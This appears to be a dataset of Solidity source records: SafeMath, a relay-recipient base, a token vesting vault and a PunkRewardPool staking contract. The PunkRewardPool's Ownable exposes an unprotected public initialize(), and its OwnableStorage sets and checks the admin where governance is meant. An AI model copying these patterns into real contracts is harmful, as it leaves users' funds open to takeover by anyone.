_Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier:MIT // solhint-disable no-inline-assembly pragma solidity >=0.7.6; import "./interfaces/IRelayRecipient.sol"; /** * A base contract to be inherited by any contract that want to receive relayed transactions * A subclass must use "_msgSender()" instead of "msg.sender" */ abstract contract BaseRelayRecipient is IRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; function isTrustedForwarder(address forwarder) public override view returns(bool) { return forwarder == trustedForwarder; } /** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal override virtual view returns (address payable ret) { if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } } else { return msg.sender; } } /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise, return `msg.data` * should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly * signing or hashing the */ function _msgData() internal override virtual view returns (bytes memory ret) { if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) { return msg.data[0:msg.data.length-20]; } else { return msg.data; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; /** * a contract must implement this interface in order to support relayed transaction. * It is better to inherit the BaseRelayRecipient as its implementation. */ abstract contract IRelayRecipient { /** * return if the forwarder is trusted to forward relayed transactions to us. * the forwarder is required to verify the sender's signature, and verify * the call is not a replay. */ function isTrustedForwarder(address forwarder) public virtual view returns(bool); /** * return the sender of this call. * if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes * of the msg.data. * otherwise, return `msg.sender` * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal virtual view returns (address payable); /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise (if the call was made directly and not through the forwarder), return `msg.data` * should be used in the contract instead of msg.data, where this difference matters. */ function _msgData() internal virtual view returns (bytes memory); function versionRecipient() external virtual view returns (string memory); }
item RLP encoded list in bytes/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory result) { require(isList(item), "isList failed"); uint items = numItems(item); result = new RLPItem[](items); uint memPtr = item.memPtr + _payloadOffset(item.memPtr); uint dataLen; for (uint i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } }
45,812
pragma solidity 0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract VestingVault12 { using SafeMath for uint256; using SafeMath for uint16; modifier onlyV12MultiSig { require(msg.sender == v12MultiSig, "not owner"); _; } modifier onlyValidAddress(address _recipient) { require(_recipient != address(0) && _recipient != address(this) && _recipient != address(token), "not valid _recipient"); _; } uint256 constant internal SECONDS_PER_DAY = 86400; struct Grant { uint256 startTime; uint256 amount; uint16 vestingDuration; uint16 vestingCliff; uint16 daysClaimed; uint256 totalClaimed; address recipient; } event GrantAdded(address indexed recipient, uint256 vestingId); event GrantTokensClaimed(address indexed recipient, uint256 amountClaimed); event GrantRemoved(address recipient, uint256 amountVested, uint256 amountNotVested); event ChangedMultisig(address multisig); ERC20 public token; mapping (uint256 => Grant) public tokenGrants; mapping (address => uint[]) private activeGrants; address public v12MultiSig; uint256 public totalVestingCount; constructor(ERC20 _token) public { require(address(_token) != address(0)); v12MultiSig = msg.sender; token = _token; } function addTokenGrant( address _recipient, uint256 _startTime, uint256 _amount, uint16 _vestingDurationInDays, uint16 _vestingCliffInDays ) external onlyV12MultiSig { require(_vestingCliffInDays <= 10*365, "more than 10 years"); require(_vestingDurationInDays <= 25*365, "more than 25 years"); require(_vestingDurationInDays >= _vestingCliffInDays, "Duration < Cliff"); uint256 amountVestedPerDay = _amount.div(_vestingDurationInDays); require(amountVestedPerDay > 0, "amountVestedPerDay > 0"); // Transfer the grant tokens under the control of the vesting contract require(token.transferFrom(v12MultiSig, address(this), _amount), "transfer failed"); Grant memory grant = Grant({ startTime: _startTime == 0 ? currentTime() : _startTime, amount: _amount, vestingDuration: _vestingDurationInDays, vestingCliff: _vestingCliffInDays, daysClaimed: 0, totalClaimed: 0, recipient: _recipient }); tokenGrants[totalVestingCount] = grant; activeGrants[_recipient].push(totalVestingCount); emit GrantAdded(_recipient, totalVestingCount); totalVestingCount++; } function getActiveGrants(address _recipient) public view returns(uint256[]){ return activeGrants[_recipient]; } /// @notice Calculate the vested and unclaimed months and tokens available for `_grantId` to claim /// Due to rounding errors once grant duration is reached, returns the entire left grant amount /// Returns (0, 0) if cliff has not been reached function calculateGrantClaim(uint256 _grantId) public view returns (uint16, uint256) { Grant storage tokenGrant = tokenGrants[_grantId]; // For grants created with a future start date, that hasn't been reached, return 0, 0 if (currentTime() < tokenGrant.startTime) { return (0, 0); } // Check cliff was reached uint elapsedTime = currentTime().sub(tokenGrant.startTime); uint elapsedDays = elapsedTime.div(SECONDS_PER_DAY); if (elapsedDays < tokenGrant.vestingCliff) { return (uint16(elapsedDays), 0); } // If over vesting duration, all tokens vested if (elapsedDays >= tokenGrant.vestingDuration) { uint256 remainingGrant = tokenGrant.amount.sub(tokenGrant.totalClaimed); return (tokenGrant.vestingDuration, remainingGrant); } else { uint16 daysVested = uint16(elapsedDays.sub(tokenGrant.daysClaimed)); uint256 amountVestedPerDay = tokenGrant.amount.div(uint256(tokenGrant.vestingDuration)); uint256 amountVested = uint256(daysVested.mul(amountVestedPerDay)); return (daysVested, amountVested); } } /// @notice Allows a grant recipient to claim their vested tokens. Errors if no tokens have vested /// It is advised recipients check they are entitled to claim via `calculateGrantClaim` before calling this function claimVestedTokens(uint256 _grantId) external { uint16 daysVested; uint256 amountVested; (daysVested, amountVested) = calculateGrantClaim(_grantId); require(amountVested > 0, "amountVested is 0"); Grant storage tokenGrant = tokenGrants[_grantId]; tokenGrant.daysClaimed = uint16(tokenGrant.daysClaimed.add(daysVested)); tokenGrant.totalClaimed = uint256(tokenGrant.totalClaimed.add(amountVested)); require(token.transfer(tokenGrant.recipient, amountVested), "no tokens"); emit GrantTokensClaimed(tokenGrant.recipient, amountVested); } /// @notice Terminate token grant transferring all vested tokens to the `_grantId` /// and returning all non-vested tokens to the V12 MultiSig /// Secured to the V12 MultiSig only /// @param _grantId grantId of the token grant recipient function removeTokenGrant(uint256 _grantId) external onlyV12MultiSig { Grant storage tokenGrant = tokenGrants[_grantId]; address recipient = tokenGrant.recipient; uint16 daysVested; uint256 amountVested; (daysVested, amountVested) = calculateGrantClaim(_grantId); uint256 amountNotVested = (tokenGrant.amount.sub(tokenGrant.totalClaimed)).sub(amountVested); require(token.transfer(recipient, amountVested)); require(token.transfer(v12MultiSig, amountNotVested)); tokenGrant.startTime = 0; tokenGrant.amount = 0; tokenGrant.vestingDuration = 0; tokenGrant.vestingCliff = 0; tokenGrant.daysClaimed = 0; tokenGrant.totalClaimed = 0; tokenGrant.recipient = address(0); emit GrantRemoved(recipient, amountVested, amountNotVested); } function currentTime() private view returns(uint256) { return block.timestamp; } function tokensVestedPerDay(uint256 _grantId) public view returns(uint256) { Grant storage tokenGrant = tokenGrants[_grantId]; return tokenGrant.amount.div(uint256(tokenGrant.vestingDuration)); } function changeMultiSig(address _newMultisig) external onlyV12MultiSig onlyValidAddress(_newMultisig) { v12MultiSig = _newMultisig; emit ChangedMultisig(_newMultisig); } }
Transfer the grant tokens under the control of the vesting contract
function addTokenGrant( address _recipient, uint256 _startTime, uint256 _amount, uint16 _vestingDurationInDays, uint16 _vestingCliffInDays ) external onlyV12MultiSig { require(_vestingCliffInDays <= 10*365, "more than 10 years"); require(_vestingDurationInDays <= 25*365, "more than 25 years"); require(_vestingDurationInDays >= _vestingCliffInDays, "Duration < Cliff"); uint256 amountVestedPerDay = _amount.div(_vestingDurationInDays); require(amountVestedPerDay > 0, "amountVestedPerDay > 0"); require(token.transferFrom(v12MultiSig, address(this), _amount), "transfer failed"); Grant memory grant = Grant({ startTime: _startTime == 0 ? currentTime() : _startTime, amount: _amount, vestingDuration: _vestingDurationInDays, vestingCliff: _vestingCliffInDays, daysClaimed: 0, totalClaimed: 0, recipient: _recipient }); tokenGrants[totalVestingCount] = grant; activeGrants[_recipient].push(totalVestingCount); emit GrantAdded(_recipient, totalVestingCount); totalVestingCount++; }
10,616,721
./full_match/1/0xca10A12D1F70621159Df23449d24933FE2b74505/sources/browser/UniMexMargin.sol
slippage is a percentage x 1e18
function openShortPosition(address token, uint256 amount, uint256 leverage, uint256 slippage) public isHuman { _openPosition(token, amount, leverage, slippage, true); }
4,961,475
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.9.0; import "./OwnableStorage.sol"; contract Ownable{ OwnableStorage _storage; function initialize( address storage_ ) public { _storage = OwnableStorage(storage_); } modifier OnlyAdmin(){ require( _storage.isAdmin(msg.sender) ); _; } modifier OnlyGovernance(){ require( _storage.isGovernance( msg.sender ) ); _; } modifier OnlyAdminOrGovernance(){ require( _storage.isAdmin(msg.sender) || _storage.isGovernance( msg.sender ) ); _; } function updateAdmin( address admin_ ) public OnlyAdmin { _storage.setAdmin(admin_); } function updateGovenance( address gov_ ) public OnlyAdminOrGovernance { _storage.setGovernance(gov_); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.9.0; contract OwnableStorage { address public _admin; address public _governance; constructor() payable { _admin = msg.sender; _governance = msg.sender; } function setAdmin( address account ) public { require( isAdmin( msg.sender )); _admin = account; } function setGovernance( address account ) public { require( isAdmin( msg.sender ) || isGovernance( msg.sender )); _admin = account; } function isAdmin( address account ) public view returns( bool ) { return account == _admin; } function isGovernance( address account ) public view returns( bool ) { return account == _admin; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.9.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./Ownable.sol"; // Hard Work Now! For Punkers by 0xViktor... contract PunkRewardPool is Ownable, Initializable, ReentrancyGuard{ using SafeMath for uint; using SafeERC20 for IERC20; bool isStarting = false; bool isInitialize = false; uint constant MAX_WEIGHT = 500; uint constant BLOCK_YEAR = 2102400; IERC20 Punk; uint startBlock; address [] forges; mapping ( address => uint ) totalSupplies; mapping ( address => mapping( address=>uint ) ) balances; mapping ( address => mapping( address=>uint ) ) checkPointBlocks; mapping( address => uint ) weights; uint weightSum; mapping( address => uint ) distributed; uint totalDistributed; function initializePunkReward( address storage_, address punk_ ) public initializer { // Hard Work Now! For Punkers by 0xViktor... require(!isInitialize); Ownable.initialize( storage_ ); Punk = IERC20( punk_ ); startBlock = 0; weightSum = 0; totalDistributed = 0; isInitialize = true; } function start() public OnlyAdmin{ startBlock = block.number; isStarting = true; } function addForge( address forge ) public OnlyAdminOrGovernance { // Hard Work Now! For Punkers by 0xViktor... require( !_checkForge( forge ), "PUNK_REWARD_POOL: Already Exist" ); forges.push( forge ); weights[ forge ] = 0; } function setForge( address forge, uint weight ) public OnlyAdminOrGovernance { // Hard Work Now! For Punkers by 0xViktor... require( _checkForge( forge ), "PUNK_REWARD_POOL: Not Exist Forge" ); ( uint minWeight , uint maxWeight ) = getWeightRange( forge ); require( minWeight <= weight && weight <= maxWeight, "PUNK_REWARD_POOL: Invalid weight" ); weights[ forge ] = weight; weightSum = 0; for( uint i = 0 ; i < forges.length ; i++ ){ weightSum += weights[ forges[ i ] ]; } } function getWeightRange( address forge ) public view returns( uint, uint ){ // Hard Work Now! For Punkers by 0xViktor... if( forges.length == 0 ) return ( 1, MAX_WEIGHT ); if( forges.length == 1 ) return ( weights[ forges[ 0 ] ], weights[ forges[ 0 ] ] ); if( weightSum == 0 ) return ( 0, MAX_WEIGHT ); uint highestWeight = 0; uint excludeWeight = weightSum.sub( weights[ forge ] ); for( uint i = 0 ; i < forges.length ; i++ ){ if( forges[ i ] != forge && highestWeight < weights[ forges[ i ] ] ){ highestWeight = weights[ forges[ i ] ]; } } if( highestWeight > excludeWeight.sub( highestWeight ) ){ return ( highestWeight.sub( excludeWeight.sub( highestWeight ) ), MAX_WEIGHT < excludeWeight ? MAX_WEIGHT : excludeWeight ); }else{ return ( 0, MAX_WEIGHT < excludeWeight ? MAX_WEIGHT : excludeWeight ); } } function claimPunk( ) public { // Hard Work Now! For Punkers by 0xViktor... claimPunk( msg.sender ); } function claimPunk( address to ) public { // Hard Work Now! For Punkers by 0xViktor... if( isStarting ){ for( uint i = 0 ; i < forges.length ; i++ ){ address forge = forges[i]; uint reward = getClaimPunk( forge, to ); checkPointBlocks[ forge ][ to ] = block.number; if( reward > 0 ) Punk.safeTransfer( to, reward ); distributed[ forge ] = distributed[ forge ].add( reward ); totalDistributed = totalDistributed.add( reward ); } } } function claimPunk( address forge, address to ) public nonReentrant { // Hard Work Now! For Punkers by 0xViktor... if( isStarting ){ uint reward = getClaimPunk( forge, to ); checkPointBlocks[ forge ][ to ] = block.number; if( reward > 0 ) Punk.safeTransfer( to, reward ); distributed[ forge ] = distributed[ forge ].add( reward ); totalDistributed = totalDistributed.add( reward ); } } function staking( address forge, uint amount ) public { // Hard Work Now! For Punkers by 0xViktor... staking( forge, amount, msg.sender ); } function unstaking( address forge, uint amount ) public { // Hard Work Now! For Punkers by 0xViktor... unstaking( forge, amount, msg.sender ); } function staking( address forge, uint amount, address from ) public nonReentrant { // Hard Work Now! For Punkers by 0xViktor... require( msg.sender == from || _checkForge( msg.sender ), "REWARD POOL : NOT ALLOWD" ); claimPunk( from ); checkPointBlocks[ forge ][ from ] = block.number; IERC20( forge ).safeTransferFrom( from, address( this ), amount ); balances[ forge ][ from ] = balances[ forge ][ from ].add( amount ); totalSupplies[ forge ] = totalSupplies[ forge ].add( amount ); } function unstaking( address forge, uint amount, address from ) public nonReentrant { // Hard Work Now! For Punkers by 0xViktor... require( msg.sender == from || _checkForge( msg.sender ), "REWARD POOL : NOT ALLOWD" ); claimPunk( from ); checkPointBlocks[ forge ][ from ] = block.number; balances[ forge ][ from ] = balances[ forge ][ from ].sub( amount ); IERC20( forge ).safeTransfer( from, amount ); totalSupplies[ forge ] = totalSupplies[ forge ].sub( amount ); } function _checkForge( address forge ) internal view returns( bool ){ // Hard Work Now! For Punkers by 0xViktor... bool check = false; for( uint i = 0 ; i < forges.length ; i++ ){ if( forges[ i ] == forge ){ check = true; break; } } return check; } function _calcRewards( address forge, address user, uint fromBlock, uint currentBlock ) internal view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... uint balance = balances[ forge ][ user ]; if( balance == 0 ) return 0; uint totalSupply = totalSupplies[ forge ]; uint weight = weights[ forge ]; uint startPeriod = _getPeriodFromBlock( fromBlock ); uint endPeriod = _getPeriodFromBlock( currentBlock ); if( startPeriod == endPeriod ){ uint during = currentBlock.sub( fromBlock ).mul( balance ).mul( weight ).mul( _perBlockRateFromPeriod( startPeriod ) ); return during.div( weightSum ).div( totalSupply ); }else{ uint denominator = weightSum.mul( totalSupply ); uint duringStartNumerator = _getBlockFromPeriod( startPeriod.add( 1 ) ).sub( fromBlock ); duringStartNumerator = duringStartNumerator.mul( weight ).mul( _perBlockRateFromPeriod( startPeriod ) ).mul( balance ); uint duringEndNumerator = currentBlock.sub( _getBlockFromPeriod( endPeriod ) ); duringEndNumerator = duringEndNumerator.mul( weight ).mul( _perBlockRateFromPeriod( endPeriod ) ).mul( balance ); uint duringMid = 0; for( uint i = startPeriod.add( 1 ) ; i < endPeriod ; i++ ) { uint numerator = BLOCK_YEAR.mul( 4 ).mul( balance ).mul( weight ).mul( _perBlockRateFromPeriod( i ) ); duringMid += numerator.div( denominator ); } uint duringStartAmount = duringStartNumerator.div( denominator ); uint duringEndAmount = duringEndNumerator.div( denominator ); return duringStartAmount + duringMid + duringEndAmount; } } function _getBlockFromPeriod( uint period ) internal view returns ( uint ){ // Hard Work Now! For Punkers by 0xViktor... return startBlock.add( period.sub( 1 ).mul( BLOCK_YEAR ).mul( 4 ) ); } function _getPeriodFromBlock( uint blockNumber ) internal view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return blockNumber.sub( startBlock ).div( BLOCK_YEAR.mul( 4 ) ).add( 1 ); } function _perBlockRateFromPeriod( uint period ) internal view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... uint totalDistribute = Punk.balanceOf( address( this ) ).add( totalDistributed ).div( period.mul( 2 ) ); uint perBlock = totalDistribute.div( BLOCK_YEAR.mul( 4 ) ); return perBlock; } function getClaimPunk( address to ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... uint reward = 0; for( uint i = 0 ; i < forges.length ; i++ ){ reward += getClaimPunk( forges[ i ], to ); } return reward; } function getClaimPunk( address forge, address to ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... uint checkPointBlock = checkPointBlocks[ forge ][ to ]; if( checkPointBlock <= getStartBlock() ){ checkPointBlock = getStartBlock(); } return checkPointBlock > startBlock ? _calcRewards( forge, to, checkPointBlock, block.number ) : 0; } function getWeightSum() public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return weightSum; } function getWeight( address forge ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return weights[ forge ]; } function getTotalDistributed( ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return totalDistributed; } function getDistributed( address forge ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return distributed[ forge ]; } function getAllocation( ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return _perBlockRateFromPeriod( _getPeriodFromBlock( block.number ) ); } function getAllocation( address forge ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return getAllocation( ).mul( weights[ forge ] ).div( weightSum ); } function staked( address forge, address account ) public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return balances[ forge ][ account ]; } function getTotalReward() public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return Punk.balanceOf( address( this ) ).add( totalDistributed ); } function getStartBlock() public view returns( uint ){ // Hard Work Now! For Punkers by 0xViktor... return startBlock; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; import "../../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 